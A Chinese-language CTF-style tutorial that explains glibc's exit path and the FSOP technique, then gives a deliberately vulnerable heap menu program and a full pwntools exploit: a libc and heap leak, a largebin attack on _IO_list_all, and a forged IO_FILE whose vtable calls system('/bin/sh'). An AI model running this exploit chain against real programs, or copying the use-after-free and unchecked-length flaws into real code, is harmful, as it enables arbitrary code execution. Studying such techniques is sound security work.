FSOP:File Stream Oriented Programming
通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus,进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。
目录
[三、Largebin attack + FSOP](#三、Largebin attack + FSOP)
[(一)Leak libc](#(一)Leak libc)
[(二)Largebin attack](#(二)Largebin attack)
前言
我们将着重关注vtable中的_IO_file_overflow函数指针。
当函数exit时,程序执行_IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的_IO_overflow。
参考宝藏博主:linux IO_FILE 利用_io list all结构体-CSDN博客
一、glibc-exit函数浅析
一般FSOP可以通过exit来触发布置好的fake IO,我们来粗略过一遍流程
cpp
// exit.c
void exit(int status)
{
__run_exit_handlers(status, &__exit_funcs, true);
}
libc_hidden_def(exit)
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers(int status, struct exit_function_list **listp,
bool run_list_atexit)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
__call_tls_dtors();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (*listp != NULL)
{
struct exit_function_list *cur = *listp;
while (cur->idx > 0)
{
const struct exit_function *const f =
&cur->fns[--cur->idx];
switch (f->flavor)
{
void (*atfct)(void);
void (*onfct)(int status, void *arg);
void (*cxafct)(void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(onfct);
#endif
onfct(status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(atfct);
#endif
atfct();
break;
case ef_cxa:
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(cxafct);
#endif
cxafct(f->func.cxa.arg, status);
break;
}
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free(cur);
}
if (run_list_atexit)
RUN_HOOK(__libc_atexit, ());
_exit(status);
}
exit实际调用了__run_exit_handlers函数。它的作用是在程序退出时调用所有通过 atexit
和 on_exit
注册的函数,并执行标准 I/O 清理,最终终止程序执行。
对于函数参数中的&__exit_funcs,可以继续追踪定位到其实现:
cpp
// cxa_atexit.c
/* Register a function to be called by exit or when a shared library
is unloaded. This function is only called from code generated by
the C++ compiler. */
int __cxa_atexit(void (*func)(void *), void *arg, void *d)
{
return __internal_atexit(func, arg, d, &__exit_funcs);
}
libc_hidden_def(__cxa_atexit)
/* We change global data, so we need locking. */
__libc_lock_define_initialized(static, lock)
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
对于"执行标准 I/O 清理"操作我们更为关心,chat得知是下述函数实现:
cpp
if (run_list_atexit)
RUN_HOOK(__libc_atexit, ());
经过全局搜索可追溯到:
cpp
// genops.c
#ifdef text_set_element
text_set_element(__libc_atexit, _IO_cleanup);
#endif
此处已经看到,执行了IO清理的操作,继续追溯:
cpp
int
_IO_cleanup (void)
{
/* We do *not* want locking. Some threads might use streams but
that is their problem, we flush them underneath them. */
int result = _IO_flush_all_lockp (0);
/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.
The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();
return result;
}
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
至此看到,对于_IO_list_all上的IO_FILE链,都执行_IO_OVERFLOW的操作。
二、FSOP
劫持 _IO_list_all 的方式一般有两种:
- 修改 IO_FILE 结构体,为了不影响 IO 建议修改 _IO_2_1_stderr 结构体。
- 利用例如 large bin attack 的攻击方法将 _IO_list_all 覆盖成一个 chunk 地址,然后在该 chunk 上伪造 IO_FILE 结构体。
在劫持 _IO_2_1_stderr 时除了修改 vtable 指针指向伪造 vtable 外,要想调用 _IO_2_1_stderr 还需要修改 以满足以下条件:
fp->_mode _IO_write_ptr > fp->_IO_write_base
因此不妨将 vtable 伪造在 _IO_2_1_stderr + 0x10 处使 _IO_overflow , _IO_2_1_stderr 的 fp->_IO_write_ptr 恰好对应于 vtable 的 _IO_overflow 。然后将fp->_IO_write_ptr 写入 system 函数地址。由于_IO_overflow 传入的参数为_IO_2_1_stderr 结构体,因此将结构体其实位置处写入 /bin/sh 字符串。
------by sky123
这里通过模板题,利用largebin attack来实现FSOP
三、Largebin attack + FSOP
cpp
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
(一)Leak libc
同时为了准备largebin attack,申请largebin范围大小的chunk
python
# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)
python
show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))
(二)Largebin attack
python
# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(10,0x500)
确实写了一个堆地址,但是为了能够布置数据,我们希望能将堆申请出来。为此我们不通过申请大chunk来触发largebin attack,而是申请一个小chunk,释放unsortedbin chunk到largebin中触发,又从largebin中取出chunk,到unsortedbin。至此largebin里只剩下目标chunk,我们再恢复一下相关指针,就可以将该chunk malloc出来。
修改上述exp片段代码
python
# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(10,0x10)
可以看到unsortedbin里有一个chunk,largebin生下了目标chunk,接下来恢复指针
python
# fd、bk指向libc,fd_nextsize、bk_nextsize指向自己
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)
接下来申请出目标chunk
python
add(0,0x428)
(三)FSOP
可见我们可控的区域实际上偏移了0x10,为此我们可以通过物理临近的前一个chunk复用prev_size字段来修改。
IO_FILE有模板,这里给出(来自这个大佬的博客)
python
fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable
由于缺了0x10可控,这里需要薛微调整一下:
python
fake_file = b""
# fake_file += b"/bin/sh\x00" # _flags, an magic number
# fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable
fake_file += p64(heap_base+0x460 + 0x10) # fake vtable
edit(0,fake_file)
然后就:
bash
pwndbg> p *_IO_list_all
$4 = {
file = {
_flags = 0,
_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x72d08ec3f560 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x72d08ef9c620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x72d08ef9e4c0 <prof_info+160>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x72d08ef9c4c0 <_nl_global_locale+160>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x5e7f135df470
}
pwndbg> p *_IO_list_all.vtable
$5 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x72d08ec3f560 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x72d08ef9c620 <_IO_2_1_stdout_>,
__sync = 0x2,
__doallocate = 0xffffffffffffffff,
__read = 0xa000000,
__write = 0x72d08ef9e4c0 <prof_info+160>,
__seek = 0xffffffffffffffff,
__close = 0x0,
__stat = 0x72d08ef9c4c0 <_nl_global_locale+160>,
__showmanyc = 0x0,
__imbue = 0x0
}
然后我们通过chunk_list[1]来布置"/bin/sh\x00"
python
edit(1,p64(0)*2+b'/bin/sh\x00')
(四)调试追踪调用
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> fileop.vtable.overflow
fileop已经被我们劫持,也在该结构体头布置了"/bin/sh\x00"参数,因此执行system("/bin/sh\x00")
(五)EXP
python
from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
io=process("./pwn")
# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)
show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))
# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20)) # 0x39bf68
delete(0)
add(10,0x10)
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)
add(0,0x428)
fake_file = b""
# fake_file += b"/bin/sh\x00" # _flags, an magic number
# fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable
fake_file += p64(heap_base+0x460 + 0x10) # fake vtable
edit(0,fake_file)
edit(1,p64(0)*2+b'/bin/sh\x00')
gdb.attach(io,'b exit\nc')
io.interactive()